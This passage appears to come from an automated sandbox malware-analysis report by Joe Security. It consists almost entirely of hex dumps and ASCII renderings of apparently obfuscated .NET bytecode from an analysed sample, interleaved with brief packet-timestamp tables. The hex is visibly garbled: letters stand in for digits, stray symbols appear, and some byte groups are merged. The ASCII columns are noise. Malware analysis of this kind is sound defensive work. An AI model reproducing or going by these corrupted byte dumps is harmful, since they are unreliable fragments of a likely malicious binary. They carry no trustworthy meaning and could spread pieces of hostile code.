Data Ascii: XX YXY[IY8~+(Jo~*Y O CY 7YY XYX

Data Raw: Oc 09 00 fe Oe 1f 00 20 03 00 00 00 8d 59 00 00 01 13 08 11 08 20 00 00 00 00 20 d9 00 00 00 9e 00 11 08 20
01 00 00 00 20 57 01 00 00 11 08 20 00 00 00 00 94 59 9e 00 11 08 20 02 00 00 00 20 04 02 00 00 11 08 20 01 00 00 00
94 58 11 08 20 00 00 00 00 94 59 9e 00 fe Oc 1f 00 11 08 20 02 00 00 00 94 5b fe Oe 1e 00 fe Oc 1e 00 20 8f 89 Oc 00 59
38 43 f9 ff ff fe Oc 09 00 20 71 07 00 00 5b fe Oe 20 00 fe Oc 20 00 20 ee cb 02 00 59 38 26 f9 ff ff fe Oc 00 00 fe 09 00 00
6f 82 00 00 Oa fe Oe 01 00 fe Oc 09 00 fe Oe 0d 00 20 04 00 00 00 8d 59 00 00 01 13 08 11 08 20 00 00 00 00 20 fc 00 00
00 9e 00 11 08 20 01 00 00 00 20 f3 ff ff ff 11 08 20 00 00 00 00 94 58 9e 00 11 08 20 02 00 00 00 20 cO 01 00 00 11 08
20 01 00 00 00 94 58 11 08 20 00 00 00 00 94 59 9e 00

DataAscii: Y WY XY[Y8Cq[ Y8&oY X XY

Data Raw: 08 20 00 00 00 00 94 59 9e 00 11 08 20 04 00 00 00 20 5f 06 00 00 11 08 20 03 00 00 00 94 59 11 08 20 02
00 00 00 94 59 11 08 20 01 00 00 00 94 59 11 08 20 00 00 00 00 94 59 9e 00 fe Oc 2¢c 00 11 08 20 04 00 00 00 94 5b fe
0Oe 2b 00 fe Oc 2b 00 20 54 30 0d 00 59 38 06 f4 ff ff 00 fe Oc 09 00 fe Oe 2e 00 20 05 00 00 00 8d 59 00 00 01 13 08 11 08
20 00 00 00 00 20 7b 01 00 00 9e 00 11 08 20 01 00 00 00 20 ea fe ff ff 11 08 20 00 00 00 00 94 58 9e 00 11 08 20 02 00
00 00 20 0d 00 00 00 11 08 20 01 00 00 00 94 59 11 08 20 00 00 00 00 94 58 9e 00 11 08 20 03 00 00 00 20 32 04 00 00
11 08 20 02 00 00 00 94 59 11 08 20 01 00 00 00 94 59 11 08 20 00 00 00 00 94 59 9e 00 11 08 20 04 00 00 00 20 bb 00
00 00 11 08 20 03 00 00 00 94 59 11 08 20 02 00 00 00 94 58 11 08

DataAscii: Y _YYYY,[++TOY8.Y { X YX 2YYY YX

Data Raw: 00 00 8b 4b 00 00 a8 4b 00 00 cf 4b 00 00 7e 4c 00 00 9e 01 00 00 46 4d 00 00 52 4e 00 00 6a 4e 00 00 95 4e
0000 b2 0d 00 00 7c 4f 00 00 87 4f 00 00 Oe 50 00 00 26 50 00 00 cb 50 00 00 ca 51 00 00 c1 18 00 00 2f 24 00 00 81 43
00 00 d8 35 00 00 6e 2c 00 00 ae 4a 00 00 dO Le 00 00 ed Ob 00 00 d1 3d 00 00 d7 0a 00 00 6b 19 00 00 3f 00 00 00 18
49 00 00 dd 26 00 00 b2 10 00 00 86 3a 00 00 ea 1a 00 00 76 4a 00 00 e2 20 00 00 19 2f 00 00 24 15 00 00 99 3d 00 00
b7 4b 00 00 00 29 00 00 5f 24 00 00 03 Ob 00 00 07 31 00 00 70 4d 00 00 ab 3e 00 00 b7 Oe 00 00 13 06 00 00 a4 2a 00
00 5f 4 00 00 fa 1b 00 00 3e 33 00 00 ac 41 00 00 31 2f 00 00 2c Oe 00 00 a3 02 00 00 38 c5 51 00 00 fe Oc 42 00 20 83 0
500 00 5b fe Oe a5 00 fe Oc a5 00 20 77 3d df 8d 59 38 a8 fc ff

Data Ascii: KKK~LFMRN]NN|OOP&PPQ/$C5n,J=k?I&:vJ /$=K)_$1pM>*_O>3A1/,8QB [ w=Y8

Data Raw: 01 13 41 11 41 20 00 00 00 00 20 66 00 00 00 9e 00 11 41 20 01 00 00 00 20 15 01 00 00 11 41 20 00 00 00
00 94 58 9e 00 11 41 20 02 00 00 00 20 d6 02 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41
20 03 00 00 00 20 5a fe ff ff 11 41 20 02 00 00 00 94 58 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 11
41 20 04 00 00 00 20 49 ff ff ff 11 41 20 03 00 00 00 94 58 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 58 11 41
20 00 00 00 00 94 58 9e 00 fe Oc 9d 00 11 41 20 04 00 00 00 94 5b fe Oe 9c 00 fe Oc 9c 00 20 2a 5a 16 8e 59 38 8c f7 ff ff
00 fe Oc 42 00 fe Oe 46 00 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 40 01 00 00 9e 00 11 41 20 01
00 00 00 20 d2 01 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41

Data Ascii: AA fA AXA AYAYA ZA XA XA XA 1A XA YA XA XA [*ZY8BF YAA @A AYA

Data Raw: 8f 00 00 Oa fe Oc 42 00 fe Oe db 00 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 b4 01 00 00
9e 00 11 41 20 01 00 00 00 20 dd 02 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20 bb 04 00 00 11 41
2001 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 03 00 00 00 20 78 05 00 00 11 41 20 02 00 00 00 94 59
114120 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 04 00 00 00 20 02 04 00 00 11 41 20 03 00 00 00
94 59 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 fe Oc db 00 11 41 20 04

00 00 00 94 5b fe Oe da 00 fe Oc da 00 20 61 76 01 8e 59 38 1e f2 ff ff fe Oc 33 00 39 Ob 00 00 00 20 13 2f 23 72 25 38 06
00 00 00 20 4b 2f 23 72 25 26 fe Oc 42 00 20 54 06 00 00 5b 61 38

Data Ascii: BYAA A AYA AYAYA xAYAYAYA AYAYAYAXA [ avY839 /#%8 K/#r%&B T[a8

Data Raw: 01 00 00 00 20 49 03 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20 cc 00 00 00 11 41 20

01 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00 00 00 20 d2 fd ff ff 11 41 20 02 00 00 00 94 58 11 41
20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 fe Oc 79 00 11 41 20 03 00 00 00 94 5b fe Oe 78 00 fe Oc 78 00 20
€7 9c 04 8e 59 38 20 ed ff ff 7e 2a 00 00 04 6f 8b 00 00 Oa fe Oe 03 00 fe Oc 42 00 fe Oe 4e 00 20 05 00 00 00 8d 59 00
00011341 11 41 20 00 00 00 00 20 97 00 00 00 9e 00 11 41 20 01 00 00 00 20 0f 02 00 00 11 41 20 00 00 00 00 94 59
9e 00 11 41 20 02 00 00 00 20 €7 01 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00
00 00 20 af ff ff ff 11 41 20 02 00 00 00 94 58 11 41 20 01 00 00

Data Ascii: IAYA AYAXA A XA XA XyA [xx Y8 ~*0BN YAA A AYA AYAXA A XA

Data Raw: 59 9e 00 11 41 20 02 00 00 00 20 c1 00 00 00 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00
11412003 00 00 00 20 88 01 00 00 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 58
9e 00 11 41 20 04 00 00 00 20 d9 02 00 00 11 41 20 03 00 00 00 94 59 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00
94 59 11 41 20 00 00 00 00 94 58 9e 00 fe Oc 85 00 11 41 20 04 00 00 00 94 5b fe Oe 84 00 fe Oc 84 00 20 20 bb 1a 8e 59
38 a6 e7 ff ff 00 fe Oc 42 00 fe Oe 87 00 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 83 01 00 00 9e 00
11 41 20 01 00 00 00 20 eb 01 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20 37 ff ff ff 11 41 20 01 00
00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00 00 00

Data Ascii: YA AXAYA AYAYAXA AYAYAYAXA[ Y8B YAA A AYA 7A XA XA
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Timestamp transferred Direction
2022-08-05 09:41:36 UTC 22 IN
2022-08-05 09:41:36 UTC 23 IN
2022-08-05 09:41:36 UTC 25 IN
2022-08-05 09:41:36 UTC 26 IN
2022-08-05 09:41:36 UTC 27 IN
2022-08-05 09:41:36 UTC 29 IN
2022-08-05 09:41:36 UTC 30 IN
2022-08-05 09:41:36 UTC 31 IN
2022-08-05 09:41:36 UTC 33 IN
2022-08-05 09:41:36 UTC 34 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 00 94 5b fe Oe 53 00 fe Oc 53 00 20 38 b7 06 8e 59 38 d4 e2 ff ff fe Oc 1e 00 45 06 00 00 00 bf 00 00 00 fO
00 00 00 cb 01 00 00 ch 06 00 00 d0 07 00 00 08 09 00 00 fe Oc 42 00 fe Oe 92 00 20 04 00 00 00 8d 59 00 00 01 13 41
11 41 20 00 00 00 00 20 95 01 00 00 9e 00 11 41 20 01 00 00 00 20 02 ff ff ff 11 41 20 00 00 00 00 94 58 9e 00 11 41 20
02 00 00 00 20 3f fe ff ff 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00 00 00 20 6a ff ff ff
11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 fe Oc 92 00 11 41 20 03 00 00
00 94 5b fe Oe 91 00 fe Oc 91 00 20 84 a9 24 8e 59 38 11 e2 ff ff fe Oc 42 00 20 55 07 00 00 5b fe Oe 93 00 fe Oc 93 00 20
0d 9b da 8d 59 38 f4 el ff ff fe Oc 0d 00 6f 9b 00 00

Data Ascii: [SS 8YSBEB YAA A A XA ?A XA XA JAYA XA XA[$Y8B U[ Y80

Data Raw: 41 20 01 00 00 00 20 b4 ff f ff 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 4d 00 00 00 11 41
2001 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 fe Oc a2 00 11 41 20 02 00 00 00 94 5b fe Oe al 00 fe Oc al 00 20
66 b9 78 8e 59 38 3c dd ff ff 00 fe Oc 42 00 fe Oe a4 00 20 04 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 48
01 00 00 9e 00 11 41 20 01 00 00 00 20 9f 02 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20 75 03 00
00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 03 00 00 00 20 b3 fe ff ff 11 41 20 02 00 00 00
94 59 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 fe Oc a4 00 11 41 20 03 00 00 00 94 5b fe Oe a3 00
fe Oc a3 00 20 47 fc a0 8e 59 38 99 dc ff ff fe Oc 05 00 8e 69

Data Ascii: A A XA MA YA XA [ fxY8<B YAA HA AYA uAYAYA AYAXAXA[GYSi

Data Raw: 00 00 9e 00 11 41 20 01 00 00 00 20 a2 02 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20
3e fe ff ff 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00 00 00 20 7f 01 00 00 11 41 20 02
00 00 00 94 59 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00 fe Oc 5e 00 11 41 20 03 00 00 00 94 5b fe
Oe 5d 00 fe Oc 5d 00 20 a2 a4 29 8e 59 38 b5 d7 ff ff 7e 2a 00 00 04 6f a3 00 00 Oa fe Oe 16 00 fe Oc 42 00 fe Oe b0 00 20
05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 ec 00 00 00 9e 00 11 41 20 01 00 00 00 20 b3 00 00 00 11 41
20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 1e 04 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59
9e 00 11 41 20 03 00 00 00 20 f4 00 00 00 11 41 20 02 00 00 00 94

Data Ascii: A AYA >A XA XA AYAXAY"AT])Y8~*0B YAA A AXA AYAYA A

Data Raw: ff ff fe Oc 42 00 20 7b 05 00 00 5b fe Oe be 00 fe Oc be 00 20 d8 58 df 8d 59 38 c1 d2 ff ff fe Oc 0d 00 fe Oc 17
00 7e 2a 00 00 04 6f a6 00 00 Oa 6f a7 00 00 Oa 20 5¢ 6d 33 72 38 a0 d2 ff ff 00 fe Oc 42 00 fe Oe 60 00 20 03 00 00 00 8d
59 00 00 01 13 41 11 41 20 00 00 00 00 20 f1 01 00 00 9e 00 11 41 20 01 00 00 00 20 44 ff ff ff 11 41 20 00 00 00 00 94
58 9e 00 11 41 20 02 00 00 00 20 21 02 00 00 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00 fe Oc 60 00
11 41 20 02 00 00 00 94 5b fe Oe 5f 00 fe Oc 5f 00 20 dc 59 16 8e 59 38 26 d2 ff ff fe Oc 42 00 20 14 04 00 00 5b fe Oe c1
00 fe Oc ¢1 00 20 7b cd e5 8d 59 38 09 d2 ff ff fe Oc 0d 00 fe Oc 17 00 7e 2a 00 00 04 6f a8 00 00 Oa 6f a9 00 00 Oa 20 5e
6d 33 72 38 €8 dL1 ff ff 00 fe Oc 42 00 fe Oe

Data Ascii: B {{ XY8~*00 \m3r8B" YAA A DA XA !AXAY'A[__ YY8&B [{Y8~*00 "m3r8B

Data Raw: a2 fe Oc 42 00 fe Oe 66 00 20 04 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 da 01 00 00 9e 00 11
4120 01 00 00 00 20 eb fe ff ff 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 ea 03 00 00 11 41 20 01 00 00
0094 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 03 00 00 00 20 38 03 00 00 11 41 20 02 00 00 00 94 59 11 41 20 01
00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00 fe Oc 66 00 11 41 20 03 00 00 00 94 5b fe Oe 65 00 fe Oc 65 00 20 1f 83
46 8e 59 38 e4 cc ff ff fe Oc 0d 00 fe Oc 17 00 fe Oc 23 00 6f 88 00 00 Oa fe Oc 42 00 fe Oe d4 00 20 03 00 00 00 8d 59 00

0001 13 41 11 41 20 00 00 00 00 20 62 01 00 00 9e 00 11 41 20 01 00 00 00 20 f9 02 00 00 11 41 20 00 00 00 00 94 59

9e 00 11 41 20 02 00 00 00 20 75 fd ff ff 11 41 20 01 00 00

Data Ascii: Bf YAA A AXA AYA YA 8A YA XA YfA [ee FY8#0B YAA bA A YA uA

Data Raw: 00 00 00 20 f7 ff ff ff 11 41 20 03 00 00 00 94 59 11 41 20 02 00 00 00 94 58 11 41 20 01 00 00 00 94 58 11 41
20 00 00 00 00 94 58 9e 00 fe Oc e2 00 11 41 20 04 00 00 00 94 5b fe Oe el 00 fe Oc el 00 20 72 e0 31 8e 59 38 e0 c7 ff
ff fe Oc 28 00 14 fe 03 fe Oe 33 00 fe Oc 42 00 fe Oe e4 00 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20
2001 00 00 9e 00 11 41 20 01 00 00 00 20 52 ff ff ff 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 8c 02 00
00 11 4120 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 03 00 00 00 20 48 01 00 00 11 41 20 02 00 00
0094 58 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 04 00 00 00 20 ¢4 00 00 00 11 41 20 03
00 0000 94 58 11 41 20 02 00 00 00 94 58 11 41 20 01 00 00

Data Ascii: A YA XAXAXA[rlY8(3B YAA A RAXA AYAYA HAXAYAYA AXAXA

Data Raw: 01 13 41 11 41 20 00 00 00 00 20 7a 01 00 00 9e 00 11 41 20 01 00 00 00 20 5¢ 02 00 00 11 41 20 00 00 00
00 94 59 9e 00 11 41 20 02 00 00 00 20 48 00 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 11 41
20 03 00 00 00 20 98 04 00 00 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00
fe Oc f1 00 11 41 20 03 00 00 00 94 5b fe Oe f0 00 fe Oc f0 00 20 aa 42 18 8e 59 38 44 c2 ff ff fe Oc 38 00 45 03 00 00 00
b6 01 00 00 1b 03 00 00 10 04 00 00 fe Oc 42 00 fe Oe f3 00 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 2
0 a6 01 00 00 9e 00 11 41 20 01 00 00 00 20 d5 fe ff ff 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 9c 03 0
000 11412001 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00

Data Ascii: AA zZA \A YA HA YA XA AYA YA YA[BYBDSEB YAA A AXA AYAY

Data Raw: 00 00 00 94 59 9e 00 fe Oc 00 01 11 41 20 03 00 00 00 94 5b fe Oe ff 00 fe Oc ff 00 20 f2 8b 60 8e 59 38 55 bd
ff ff fe Oc 37 00 14 fe 03 fe Oe 3a 00 fe Oc 42 00 fe Oe 02 01 20 05 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20
6b 01 00 00 9e 00 11 41 20 01 00 00 00 20 95 02 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 02 00 00 00 20 35 fe
ff ff 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 03 00 00 00 20 6a 00 00 00 11 41 20 02 00 00
0094 58 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 04 00 00 00 20 54 fe ff ff 11 41 20 03 00
000094 59 11 41 20 02 00 00 00 94 58 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 58 9e 00 fe Oc 02 01 11 41
2004 00 00 00 94 5b fe Oe 01 01 fe Oc 01 01 20 d2 c1 55

Data Ascii: YA[Y8U7:B YAA kA A YA 5A XA XA JAXAXAYA TAYAXAXAXA[U

Data Raw: 00 00 00 20 7b 00 00 00 9e 00 11 41 20 01 00 00 00 20 10 02 00 00 11 41 20 00 00 00 00 94 59 9e 00 11 41
20 02 00 00 00 20 ab 01 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 58 9e 00 fe Oc 0d 01 11 41 20 02 00
00 00 94 5b fe Oe Oc 01 fe Oc Oc 01 20 21 39 82 8e 59 38 c2 b7 ff ff 00 fe Oc 42 00 fe Oe Of 01 20 04 00 00 00 8d 59 00 00
01134111 41 20 00 00 00 00 20 8c 01 00 00 9e 00 11 41 20 01 00 00 00 20 f7 fe ff ff 11 41 20 00 00 00 00 94 58 9e 00
11412002 00 00 00 20 75 02 00 00 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 11 41 20 03 00 00 00
20 60 04 00 00 11 41 20 02 00 00 00 94 59 11 41 20 01 00 00 00 94 59 11 41 20 00 00 00 00 94 59 9e 00 fe Oc 0f 01 11 4
120 03 00 00 00 94 5b fe Oe Oe 01 fe Oc Oe 01 20 c7 37 02 8e 59

Data Ascii: {A AYA AYAXA[!9Y8B YAA A AXA UAYAYA 'AYAYAYA[TY

Data Raw: 00 fe Oe 1a 01 20 03 00 00 00 8d 59 00 00 01 13 41 11 41 20 00 00 00 00 20 88 00 00 00 9e 00 11 41 20 01

00 00 00 20 c1 00 00 00 11 41 20 00 00 00 00 94 58 9e 00 11 41 20 02 00 00 00 20 d3 fe ff ff 11 41 20 01 00 00 00 94 58
11 4120 00 00 00 00 94 58 9e 00 fe Oc 1a 01 11 41 20 02 00 00 00 94 5b fe Oe 19 01 fe Oc 19 01 20 79 2d 6d 8e 59 38 54
b2 ff ff fe Oc 42 00 20 41 05 00 00 5b fe Oe 1b 01 fe Oc 1b 01 20 20 28 e0 8d 59 38 37 b2 ff ff fe Oc 0d 00 fe Oc 17 00 fe Oc
2d 00 6f ac 00 00 Oa 20 1c 6d 33 72 38 1c b2 ff ff 20 00 00 00 00 fe Oe 10 00 fe Oc 42 00 fe Oe 72 00 20 05 00 00 00 8d 59
0000 01 13 41 11 41 20 00 00 00 00 20 98 01 00 00 9e 00 11 41 20 01 00 00 00 20 59 03 00 00 11 41 20 00 00 00 00 94
59 9e 00 11 41 20 02 00 00 00 20 d4 04 00 00 11 41 20

Data Ascii: YAA A AXA A XA XA[y-mY8TB A[ (Y87-0 m3r8 Br YAA A YAYA A
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Timestamp T Direction
2022-08-05 09:41:36 UTC 35 IN
2022-08-05 09:41:36 UTC 37 IN
2022-08-05 09:41:36 UTC 38 IN
2022-08-05 09:41:36 UTC 39 IN
2022-08-05 09:41:36 UTC 40 IN
2022-08-05 09:41:36 UTC 42 IN
2022-08-05 09:41:36 UTC 43 IN
2022-08-05 09:41:36 UTC 44 IN
2022-08-05 09:41:36 UTC 46 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 38 6b ad ff ff fe Oc 42 00 20 66 05 00 00 5b fe Oe 2a 01 fe Oc 2a 01 20 df al df 8d 59 38 4e ad ff ff 00 20 20
6d 33 72 38 43 ad ff ff fe Oc 14 00 20 01 00 00 00 58 fe Oe 14 00 fe Oc 42 00 fe Oe 2c 01 20 03 00 00 00 8d 59 00 00 01 13
4111 41 20 00 00 00 00 20 d0 01 00 00 9e 00 11 41 20 01 00 00 00 20 6c ff ff ff 11 41 20 00 00 00 00 94 58 9e 00 11 41
2002 00 00 00 20 c1 01 00 00 11 41 20 01 00 00 00 94 58 11 41 20 00 00 00 00 94 59 9e 00 fe Oc 2c 01 11 41 20 02 00
00 00 94 5b fe Oe 2b 01 fe Oc 2b 01 20 3f 14 24 8e 59 38 bc ac ff ff fe Oc 14 00 fe Oc 03 00 fe 04 fe Oe 3f 00 20 22 6d 33 72
38 a4 ac ff ff fe Oc 3f 00 39 Ob 00 00 00 20 f1 22 26 72 25 38 06 00 00 00 20 93 21 26 72 25 26 fe Oc 42 00 20 d4 04 00 00
5b 61 38 79 ac ff ff 00 fe Oc 42 00 fe Oe

Data Ascii: r8kB f[** YBN m3r8C XB, YAA A IAXA A XA Y A [++ ?2$Y8? "m3r8?9 "&r%8 !&r%&B [a8yB

Data Raw: 07 07 6f Oe 00 00 Oa 00 00 dc 00 2a 00 00 01 10 00 00 02 00 02 00 2a 2c 00 18 00 00 00 00 13 30 02 00 12 00
0000 18 00 00 11 00 02 03 6f 4e 00 00 Oa 28 4f 00 00 Oa Oa 2b 00 06 2a 00 00 13 30 02 00 1f 00 00 00 19 00 00 11 00
03 14 fe 01 Ob 07 2c 04 14 Oa 2b 10 00 02 03 28 08 00 00 Oa 73 51 00 00 Oa Oa 2b 00 06 2a 00 13 30 02 00 1c 00 00 00
1a 00 00 11 00 02 03 6f 52 00 00 Oa 73 51 00 00 Oa Oa 06 03 6f 53 00 00 Oa 00 06 Ob 2b 00 07 2a 13 30 04 00 58 00 00 O
0 1b 00 00 11 00 05 14 fe 01 7e 20 00 00 04 fe 01 0d 09 2c 41 05 75 08 00 00 01 Ob 07 14 fe 01 16 fe 01 0d 09 2c Oe 02 0
304 07 28 1c 00 00 06 Oa 2b 28 2b 20 00 05 75 0d 00 00 01 Oc 08 14 fe 01 16 fe 01 0d 09 2c Oc 02 03 04 08 28 1b 00 00
06 0a 2b 07 00 00 00 05 Oa 2b 00 06 2a 13 30 04 00 6¢ 00 00 00 1c

Data Ascii: 0**,00N(O+*0,+(sQ+*00RsQ0oS+*0X~ ,Au,(+(+ u,(++*0l

Data Raw: 7c 6a c4 30 20 77 a4 53 03 20 8f 71 10 94 20 94 ac 3f 36 28 5d 00 00 06 dO 09 00 00 02 28 11 00 00 Oa 6f 67
00 00 Oa 73 68 00 00 Oa Ob 07 80 09 00 00 04 00 7e 09 00 00 04 Oa 2b 00 06 2a 00 00 00 13 30 01 00 Ob 00 00 00 21 00
00 11 00 7e Oa 00 00 04 Oa 2b 00 06 2a 00 13 30 01 00 Ob 00 00 00 22 00 00 11 00 7e Ob 00 00 04 Oa 2b 00 06 2a 00 13
30 01 00 Ob 00 00 00 23 00 00 11 00 28 25 00 00 06 Oa 2b 00 06 2a 00 13 30 08 00 6¢ 02 00 00 01 00 00 11 7e 24 00 00
04 8d 15 00 00 01 Oa 06 16 72 02 Oc 00 70 20 ed f8 6a 25 20 73 09 31 17 20 bb 34 fd a6 20 e4 77 21 e4 20 f6 ec f4 70 28
5d 00 00 06 a2 00 06 17 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 6
5 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
Data Ascii: [j0 wS q ?6(](ogsh~+*0!~+*0"~+*0#(%+*0l~$rp j% s1 4 w! p(]
eeeeeeeeee

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 28 77 00 00 Oa d6 8d 23 00 00 01 Oa 02 06 16 03 28 14 00 00 0a 00 06 Ob 2b 00 07 2a 13 30 05 00 d5 09 00 00
05 00 00 11 00 14 Oc 28 15 00 00 Oa 7e 27 00 00 04 fe 01 13 08 11 08 39 ae 01 00 00 02 02 02 1f 3¢ 20 ff ff ff 7f 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65

Data Ascii: (w(x
(WH#(+*0(~'9<

EEEEEEEEES

Data Raw: 10 00 00 Oa 1f 10 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 0a 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 0a 28 2b 00 00 06 Oc 00 08 16 28 17 00 00 Oa Oa 16 06 13
07 0d 38 84 05 00 00 08 1e 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65

Data Ascii: w(xeee

w(+(8 w(

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 28 77 00 00 Oa 28 2b 00 00 06 16 28 17 00 00 Oa 6a 02 d6 Ob 2b 53 00 00 09 17 20 ff ff ff 7f 65 65 65 65 65 65 6
5 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65
65 65 65 65 65 28 77 00 00 0a d6 0d 09 11 07 13 09 11 09 3e 70 fa ff ff 16 6a Ob 2b 00 07 2a 00 00 00 1b 30 Ob 00 cc 20
00 00 06 00 00 11 00 7e 28 00 00 04 8d 15 00 00 01 13 2f 11 2f 16 72
Data Ascii: w(

(W(+(+S W(X w>pj+*0 ~(/Ir

Data Raw: 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 28 77 00 00 Oa 28 78 00 00 Oa 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28 77 00 00
0a 8d 15 00 00 01 13 2f 11 2f 16 72 f9 10 00 70 20 26 cc cf a5 20 19 50 20 be 20 56 7e 2e 71 20 a6 6a 2f 98 20 ee al al
63 28 5d 00 00 06 a2 00 11 2f 17 20 ff ff ff 7f 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 65 28
